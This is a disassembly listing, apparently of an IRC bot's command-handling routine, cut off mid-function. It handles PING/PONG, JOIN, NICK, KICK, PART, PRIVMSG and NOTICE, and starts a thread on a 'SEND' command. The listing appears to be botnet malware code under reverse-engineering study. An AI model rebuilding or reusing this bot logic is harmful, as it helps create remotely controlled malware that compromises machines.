var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42CA38 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42CA34 ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CA30 ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9C4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2C


loc_401E91:				; CODE XREF: sub_401ACD+253Bj
					; sub_401ACD+2558j ...
		add	esp, 10h


loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401E96:				; CODE XREF: sub_401ACD+2A61j
		pop	eax


loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A83j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h


loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0


loc_401F52:				; CODE XREF: sub_401ACD+1C35j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87


loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B


loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083


loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019


loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42C970


loc_402077:				; CODE XREF: sub_401ACD+28CCj
					; sub_401ACD+2C4Cj ...
		call	sub_415220


loc_40207C:				; CODE XREF: sub_401ACD+1BE1j
		pop	ecx


loc_40207D:				; CODE XREF: sub_401ACD+7B6Fj
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C94C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42C938
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		cmp	dword_429088, ebx
		jz	loc_409854


loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42C930
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C8F4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BC
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	loc_4023E6


loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2660F2Bh
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------


loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1


loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42C8F0
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
